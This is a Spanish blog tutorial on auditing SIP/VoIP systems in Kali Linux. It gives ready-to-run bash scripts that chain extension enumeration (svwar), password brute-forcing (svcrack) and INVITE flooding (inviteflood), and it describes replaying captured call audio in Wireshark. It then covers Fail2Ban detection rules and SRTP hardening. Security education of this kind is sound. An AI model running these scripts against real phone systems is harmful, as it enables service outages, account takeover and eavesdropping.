Inviteflood: Ataque SIP en Kali Linux

 https://www.onlinetis.com

Inviteflood: Ataque SIP en Kali Linux

Entiendo que estás explorando las herramientas de auditoría de redes en Kali Linux. inviteflood es una herramienta específica para realizar pruebas de resistencia (o ataques de denegación de servicio) sobre el protocolo SIP (Session Initiation Protocol), que es el que utiliza la gran mayoría de los sistemas de telefonía IP (VoIP).

Aquí te explico qué es, cómo funciona y cómo se usa en español.


¿Qué es inviteflood?

inviteflood es una herramienta diseñada para inundar un dispositivo VoIP (como un teléfono IP o una centralita PBX/Asterisk) con mensajes SIP INVITE.

En una llamada normal, un mensaje INVITE inicia la comunicación. Al enviar miles de estos mensajes por segundo, el atacante busca agotar los recursos del servidor o del teléfono, haciendo que deje de funcionar o que no pueda procesar llamadas legítimas.


Sintaxis Básica

La estructura del comando en la terminal de Kali es la siguiente:

inviteflood <interfaz_de_red> <usuario_destino> <dominio_destino> <ip_destino> <número_de_paquetes>

Parámetros detallados:

  • Interfaz: Tu tarjeta de red (ej. eth0 o wlan0).

  • Usuario destino: La extensión o nombre de usuario al que quieres "llamar" (ej. 100 o admin).

  • Dominio destino: El dominio o IP del servidor SIP.

  • IP destino: La dirección IP real hacia donde se envían los paquetes.

  • Número de paquetes: Cuántos mensajes quieres enviar (0 para envío infinito).


Ejemplo de Uso

Si quieres probar la resistencia de una centralita en la IP 192.168.1.50 en la extensión 200 desde tu interfaz eth0, el comando sería:

Bash
inviteflood eth0 200 192.168.1.50 192.168.1.50 10000

[!IMPORTANT]

Nota de seguridad: Esta herramienta debe usarse solo en entornos controlados y con permiso explícito. Inundar una red de telefonía puede tumbar servicios de emergencia o comunicaciones críticas de una empresa.


Cómo defenderse

Si estás del lado de la defensa (Blue Team), para mitigar este tipo de ataques se suelen usar:

  1. Fail2Ban: Para bloquear IPs que envían demasiadas peticiones SIP erróneas.

  2. SBC (Session Border Controllers): Que actúan como un firewall especializado en voz.

  3. Límites de velocidad (Rate Limiting): Configurados directamente en Asterisk o FreePBX.

     

Para automatizar una auditoría de seguridad en entornos VoIP (específicamente SIP), lo ideal es crear un script en Bash que combine varias herramientas de Kali Linux. Esto te permite escanear la red, identificar extensiones vivas y, finalmente, probar la resistencia con inviteflood.

Aquí tienes un ejemplo de un script profesional y estructurado.


Script de Auditoría VoIP Automatizada (voip_audit.sh)

Este script realiza tres fases: Reconocimiento, Enumeración y Prueba de Carga.

Bash
#!/label/bash

# Configuración de colores para la terminal
GREEN='\033[0;32m'
RED='\033[0;31m'
NC='\033[0m' # No Color

echo -e "${GREEN}=== Script de Auditoría de Seguridad VoIP ===${NC}"

# 1. Variables de entrada
read -p "Introduce la IP del servidor SIP/PBX: " TARGET_IP
read -p "Introduce el rango de extensiones a probar (ej. 100-200): " RANGE
read -p "Interfaz de red (ej. eth0): " INTERFACE

echo -e "\n${GREEN}[*] Paso 1: Escaneando puertos SIP (5060 UDP/TCP)...${NC}"
nmap -sU -sV -p 5060 $TARGET_IP

echo -e "\n${GREEN}[*] Paso 2: Enumerando extensiones con svwar...${NC}"
# svwar es parte de la suite sipvicious
svwar -e $RANGE $TARGET_IP

echo -e "\n${GREEN}[*] Paso 3: Prueba de inundación (Stress Test) con inviteflood${NC}"
read -p "¿Deseas lanzar una prueba de 5000 paquetes INVITE? (s/n): " CONFIRM

if [ "$CONFIRM" = "s" ]; then
    # Usamos la primera extensión del rango como ejemplo (ej. 100)
    EXT=$(echo $RANGE | cut -d'-' -f1)
    echo -e "${RED}[!] Lanzando inviteflood a la extensión $EXT...${NC}"
    inviteflood $INTERFACE $EXT $TARGET_IP $TARGET_IP 5000
    echo -e "${GREEN}[+] Prueba finalizada.${NC}"
else
    echo -e "Auditoría cancelada por el usuario."
fi

Herramientas clave utilizadas

Para que este script funcione, asegúrate de entender qué hace cada componente:

HerramientaFunción en la Auditoría
NmapIdentifica si el puerto 5060 (SIP) está abierto y qué software corre (Asterisk, Cisco, etc.).
svwar(De la suite SIPVicious) Identifica qué extensiones son válidas enviando mensajes OPTIONS o REGISTER.
invitefloodRealiza la prueba de denegación de servicio (DoS) para verificar la estabilidad del sistema.

Cómo ejecutarlo

  1. Guardar el archivo: Copia el código en un archivo llamado voip_audit.sh.

  2. Dar permisos: Ejecuta en tu terminal chmod +x voip_audit.sh.

  3. Ejecutar como root: Dado que inviteflood requiere acceso a la interfaz de red, usa:

    Bash
    sudo ./voip_audit.sh
    

Advertencia Ética: El uso de svwar e inviteflood en redes ajenas sin autorización es ilegal. Asegúrate de que el servidor TARGET_IP sea un entorno de laboratorio o tengas permiso escrito.

 

Añadir una fase de fuerza bruta (cracking) es el paso lógico después de encontrar extensiones activas. Para esto utilizaremos svcrack, que forma parte de la suite SIPVicious.

Esta herramienta intenta registrarse en una extensión probando diferentes contraseñas. Si tiene éxito, un atacante podría realizar llamadas internacionales gratuitas o interceptar comunicaciones.


Script Actualizado: Auditoría VoIP Pro (voip_audit_pro.sh)

He añadido una sección para que, tras encontrar una extensión, puedas elegir si quieres intentar descifrar su contraseña usando un diccionario de texto (wordlist).

Bash
#!/bin/bash

# Colores
GREEN='\033[0;32m'
RED='\033[0;31m'
CYAN='\033[0;36m'
NC='\033[0m'

echo -e "${CYAN}===============================================${NC}"
echo -e "${CYAN}   AUDITORÍA VOIP AVANZADA (KALI LINUX)        ${NC}"
echo -e "${CYAN}===============================================${NC}"

# 1. Parámetros Iniciales
read -p "IP del servidor SIP: " TARGET_IP
read -p "Interfaz (ej. eth0): " INTERFACE
read -p "Diccionario para crackear (ej. /usr/share/wordlists/rockyou.txt): " WORDLIST

# 2. Enumeración de Extensiones
echo -e "\n${GREEN}[*] Buscando extensiones activas...${NC}"
svwar -e 100-500 $TARGET_IP > extensions.txt
cat extensions.txt

# 3. Fuerza Bruta (Cracking)
echo -e "\n${RED}[!] Fase de Cracking con svcrack${NC}"
read -p "Introduce una extensión encontrada para atacar: " TARGET_EXT

if [ -n "$TARGET_EXT" ]; then
    echo -e "${GREEN}[*] Probando contraseñas para la extensión $TARGET_EXT...${NC}"
    svcrack -u $TARGET_EXT -d $WORDLIST $TARGET_IP
else
    echo "No se proporcionó extensión, saltando cracking."
fi

# 4. Prueba de Resistencia (DoS)
echo -e "\n${RED}[!] Fase final: Inundación SIP (inviteflood)${NC}"
read -p "¿Lanzar ataque de denegación de servicio a $TARGET_EXT? (s/n): " DOS_CONFIRM

if [ "$DOS_CONFIRM" = "s" ]; then
    echo -e "${RED}[!] Enviando 10,000 paquetes INVITE a $TARGET_IP...${NC}"
    inviteflood $INTERFACE $TARGET_EXT $TARGET_IP $TARGET_IP 10000
    echo -e "${GREEN}[+] Auditoría completada.${NC}"
fi

¿Cómo funciona el ataque de fuerza bruta SIP?

El protocolo SIP utiliza un esquema de desafío-respuesta (Challenge-Response). Cuando svcrack intenta registrarse:

  1. Envía un paquete REGISTER.

  2. El servidor responde con un 401 Unauthorized que incluye un "nonce" (un valor aleatorio).

  3. svcrack combina la contraseña del diccionario con ese "nonce" usando un hash MD5 y lo envía de vuelta.

  4. Si el hash coincide, el servidor devuelve un 200 OK. ¡Extensión comprometida!

Consejos para el éxito:

  • Diccionarios: En Kali, los mejores diccionarios están en /usr/share/wordlists/. El famoso rockyou.txt es un buen punto de partida.

  • Velocidad: Ten en cuenta que si el servidor tiene un Firewall activo, tu IP será bloqueada tras pocos intentos fallidos.


Recomendación de Seguridad (Remediación)

Si durante tu auditoría logras crackear una extensión, la recomendación técnica es:

  • Contraseñas Fuertes: No usar el número de extensión como contraseña (ej. Ext 100, Pass 100).

  • IP Whitelisting: Configurar el PBX para que solo acepte registros desde IPs conocidas.

     

Analizar el tráfico con Wireshark es la diferencia entre simplemente "correr un script" y entender realmente qué está pasando en la red. En una auditoría de VoIP, ver los paquetes te permite confirmar si el servidor está rechazando los ataques, si está procesando los INVITE o si el cracking está funcionando.

Aquí te explico cómo hacerlo paso a paso en Kali Linux:


1. Captura de Tráfico SIP

Para ver lo que hace tu script en tiempo real:

  1. Abre Wireshark (puedes escribir sudo wireshark & en la terminal).

  2. Selecciona tu interfaz de red (ej. eth0 o wlan0) y haz clic en el icono del tiburón azul para empezar a capturar.

  3. En la barra de "Filter" (filtro), escribe simplemente:

    sip

  4. Presiona Enter. Ahora solo verás los paquetes relacionados con VoIP.


2. Lo que verás durante el Script

Dependiendo de la fase del script, verás comportamientos distintos en Wireshark:

Durante el Escaneo (svwar)

Verás una ráfaga de paquetes OPTIONS o REGISTER.

  • Si el servidor responde 200 OK, la extensión existe.

  • Si responde 404 Not Found, la extensión no existe.

Durante el Cracking (svcrack)

Verás muchos paquetes REGISTER.

  • El servidor enviará un 401 Unauthorized.

  • Tu máquina enviará otro REGISTER con el hash de la contraseña.

  • Si logras entrar, verás un paquete final con el estado 200 OK.

Durante la Inundación (inviteflood)

Verás miles de paquetes INVITE saliendo de tu IP hacia el servidor.

  • Señal de éxito (DoS): Si el servidor deja de responder (ya no hay paquetes 100 Trying o 401 Unauthorized de vuelta), significa que el servicio ha caído o está saturado.


3. La Herramienta "VoIP Calls"

Wireshark tiene una función secreta para auditores de voz:

  1. Ve al menú superior: Telephony -> VoIP Calls.

  2. Se abrirá una ventana que lista todas las "llamadas" detectadas.

  3. Selecciona una y haz clic en Flow Sequence.

Esto te mostrará un diagrama visual de quién envió qué y en qué orden. Es perfecto para documentar tus hallazgos en un reporte de auditoría profesional.


4. Un truco final: Ver contraseñas (si no hay TLS)

Si el tráfico SIP no está cifrado con TLS (que es lo común en redes locales mal configuradas), puedes ver el User-Agent y los métodos de autenticación directamente haciendo clic derecho en un paquete y seleccionando Follow -> UDP Stream.

[!TIP]

Si quieres llevar esto al siguiente nivel, podrías intentar capturar el audio de una llamada real (siempre bajo permiso) usando la función "Play Streams" en el menú de Telephony de Wireshark.

 

Un reporte bien estructurado es lo que diferencia a un "hacker" de un Consultor de Ciberseguridad. El objetivo es que el cliente (o tu profesor) entienda el riesgo y sepa cómo arreglarlo.

Aquí tienes una plantilla profesional que puedes llenar con los datos obtenidos de tu script y Wireshark.


📝 Plantilla de Reporte: Auditoría de Seguridad VoIP

1. Resumen Ejecutivo

  • Objetivo: Evaluación de la resistencia y autenticación del servidor PBX.

  • IP del Objetivo: [Insertar IP aquí]

  • Resultado Global: 🔴 CRÍTICO / 🟡 MEDIO / 🟢 BAJO

  • Resumen: Durante la auditoría se identificaron extensiones activas y se comprobó que el sistema es [vulnerable/resistente] a ataques de denegación de servicio y fuerza bruta.


2. Hallazgos Técnicos

A. Enumeración de Extensiones (svwar)

  • Herramienta: SIPVicious (svwar).

  • Resultado: Se detectaron las siguientes extensiones activas: [Ej: 100, 101, 105].

  • Riesgo: Un atacante puede usar estas extensiones como punto de entrada para ataques de fuerza bruta.

B. Debilidad en Credenciales (svcrack)

  • Herramienta: SIPVicious (svcrack).

  • Extensión Comprometida: [Ej: 101]

  • Contraseña Encontrada: [Ej: 101] (Uso de contraseña igual a la extensión).

  • Impacto: Acceso total a la línea para realizar llamadas no autorizadas.

C. Denegación de Servicio (inviteflood)

  • Herramienta: inviteflood.

  • Observaciones en Wireshark: Tras enviar 10,000 paquetes INVITE, el servidor dejó de responder a peticiones legítimas durante [X] segundos.

  • Impacto: Interrupción total de las comunicaciones de la empresa.


3. Evidencia (Capturas de Wireshark)

Sugerencia: Aquí deberías pegar capturas de pantalla del "Flow Sequence" de Wireshark que mencionamos antes.


4. Recomendaciones de Mitigación (Remediación)

  1. Fortalecimiento de Contraseñas: Cambiar las contraseñas numéricas simples por claves alfanuméricas complejas de al menos 12 caracteres.

  2. Implementar Fail2Ban: Configurar reglas para banear automáticamente cualquier IP que falle más de 3 intentos de registro SIP.

  3. Habilitar TLS y SRTP: Cifrar tanto la señalización (SIP) como el audio (RTP) para evitar que alguien con Wireshark pueda ver los datos.

  4. Configurar un SBC: Instalar un Session Border Controller para filtrar el tráfico malicioso antes de que llegue a la centralita.


¿Cómo usar esta plantilla?

Puedes copiar este contenido en un documento de Word o en un archivo de texto .md (Markdown). Al presentar esto junto con tu script, demuestras un nivel de profesionalismo muy alto.

 

Configurar Fail2Ban es la respuesta defensiva estándar en servidores Asterisk, FreePBX o cualquier sistema basado en Linux. Funciona "leyendo" los logs del servidor y, si detecta demasiados errores de autenticación o ráfagas de paquetes SIP, crea una regla en el firewall (iptables) para bloquear la IP del atacante.

Aquí tienes los pasos para crear una protección específica contra las herramientas que usamos en el script.


1. Crear el Filtro Personalizado

Primero, debemos decirle a Fail2Ban qué buscar en los archivos de log. Vamos a crear un archivo de configuración para detectar ataques SIP.

Ruta: /etc/fail2ban/filter.d/voip-custom.conf

Ini, TOML
[Definition]
# Busca intentos de registro fallidos o inundaciones de INVITE
failregex = ^.*Registration from '.*' failed for '<HOST>:.*' - No matching endpoint found.*$
            ^.*Registration from '.*' failed for '<HOST>:.*' - Wrong password.*$
            ^.*Invalid keyword 'INVITE' from <HOST>:.*$
            ^.*Security Event.*"RemoteAddress":".*\/UDP\/<HOST>\/.*".*"EventName":"ChallengeResponseFailed".*$

ignoreregex =

2. Configurar la Cárcel (Jail)

Ahora activamos la "cárcel", que es donde definimos cuánto tiempo bloquearemos al atacante.

Ruta: /etc/fail2ban/jail.local (añade esto al final del archivo)

Ini, TOML
[voip-stoppp]
enabled  = true
port     = 5060,5061
filter   = voip-custom
logpath  = /var/log/asterisk/messages
maxretry = 5
findtime = 600
bantime  = 3600
action   = iptables-allports[name=voip-auth]

¿Qué hace esta configuración?

  • maxretry = 5: Si alguien falla 5 veces, se bloquea.

  • findtime = 600: Los 5 fallos deben ocurrir en una ventana de 10 minutos (600 seg).

  • bantime = 3600: La IP queda bloqueada por 1 hora.


3. Reiniciar y Verificar

Para que los cambios surtan efecto, reinicia el servicio:

Bash
sudo systemctl restart fail2ban

Para verificar si tu IP de atacante (Kali) ha sido bloqueada tras ejecutar tu script, usa:

Bash
sudo fail2ban-client status voip-stoppp

4. El efecto en Wireshark

Si vuelves a correr tu script de inviteflood con Fail2Ban activo:

  1. Verás los primeros 5-10 paquetes en Wireshark.

  2. De repente, dejarás de recibir respuesta del servidor.

  3. Si intentas hacer un ping al servidor, verás que también falla (porque la regla de iptables bloquea todo el tráfico de tu IP).

[!NOTE]

Consejo Pro: En entornos reales, asegúrate de añadir tu propia IP a la "ignoreip" en /etc/fail2ban/jail.conf para no bloquearte a ti mismo por accidente mientras haces pruebas.

 

Proteger la señalización (SIP) es solo la mitad del trabajo. Si no proteges el flujo de audio, cualquier atacante en la misma red puede usar Wireshark para capturar los paquetes RTP y reconstruir la conversación completa (escuchar lo que dices).

Para evitar esto, utilizamos SRTP (Secure Real-time Transport Protocol). Aquí te explico cómo funciona y cómo implementarlo.


1. ¿Qué es SRTP y cómo funciona?

Mientras que el protocolo RTP envía el audio en texto plano (como una radio abierta), SRTP añade una capa de cifrado (normalmente AES-128 o AES-256) y autenticación.

El flujo de seguridad completo:

  1. SIP sobre TLS: Cifra los mensajes de control (quién llama a quién).

  2. SDP (Session Description Protocol): Dentro del mensaje SIP, los teléfonos intercambian las llaves criptográficas.

  3. SRTP: Utiliza esas llaves para cifrar el flujo de voz bit a bit.


2. Configuración en el Servidor (Ejemplo Asterisk/FreePBX)

Para que SRTP funcione, ambos extremos (el servidor y el teléfono/softphone) deben soportarlo. En un archivo de configuración de Asterisk (pjsip.conf), verías algo como esto:

Ini, TOML
[endpoint-seguro]
type=endpoint
transport=transport-tls
media_encryption=sdes          ; Activa SRTP usando intercambio de llaves SDES
dtls_verify=fingerprint
dtls_setup=actpass

Opciones de Cifrado de Media:

  • SDES: Las llaves se envían dentro del paquete SIP (por eso DEBES usar TLS, o de lo contrario la llave viaja a la vista).

  • DTLS: Un apretón de manos más moderno y seguro que ocurre directamente entre los dispositivos de audio.


3. Verificación en Wireshark (El "Antes" y "Después")

Esta es la prueba definitiva de que tu configuración funciona:

Escenario A: RTP Normal (Inseguro)

  1. Capturas tráfico en Wireshark.

  2. Vas a Telephony > RTP > RTP Streams.

  3. Seleccionas uno y haces clic en Analyze > Play Streams.

  4. Resultado: Escuchas la voz perfectamente.

Escenario B: SRTP (Seguro)

  1. Capturas el tráfico.

  2. Verás que el protocolo ya no dice "RTP", sino SRTP.

  3. Si intentas reproducirlo, solo escucharás ruido blanco o estática. Los paquetes están ahí, pero sin la llave maestra, son ilegibles.


4. Retos de Implementación

Implementar SRTP no es "gratis" en términos de recursos:

  • Carga de CPU: El servidor debe cifrar y descifrar cada paquete de audio para cada llamada activa.

  • Compatibilidad: Algunos teléfonos IP antiguos no soportan SRTP.

  • Certificados: Necesitas gestionar certificados SSL/TLS para que la negociación de llaves sea válida.


Resumen de la Auditoría Completa

Ahora que hemos visto todo el ciclo, tu reporte de seguridad debería verse así:

  1. Identificación: Encontré extensiones con svwar.

  2. Explotación: Crackeé la clave con svcrack e inundé el sistema con inviteflood.

  3. Mitigación: Instalé Fail2Ban y activé SRTP para que nadie pueda escuchar mis llamadas.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux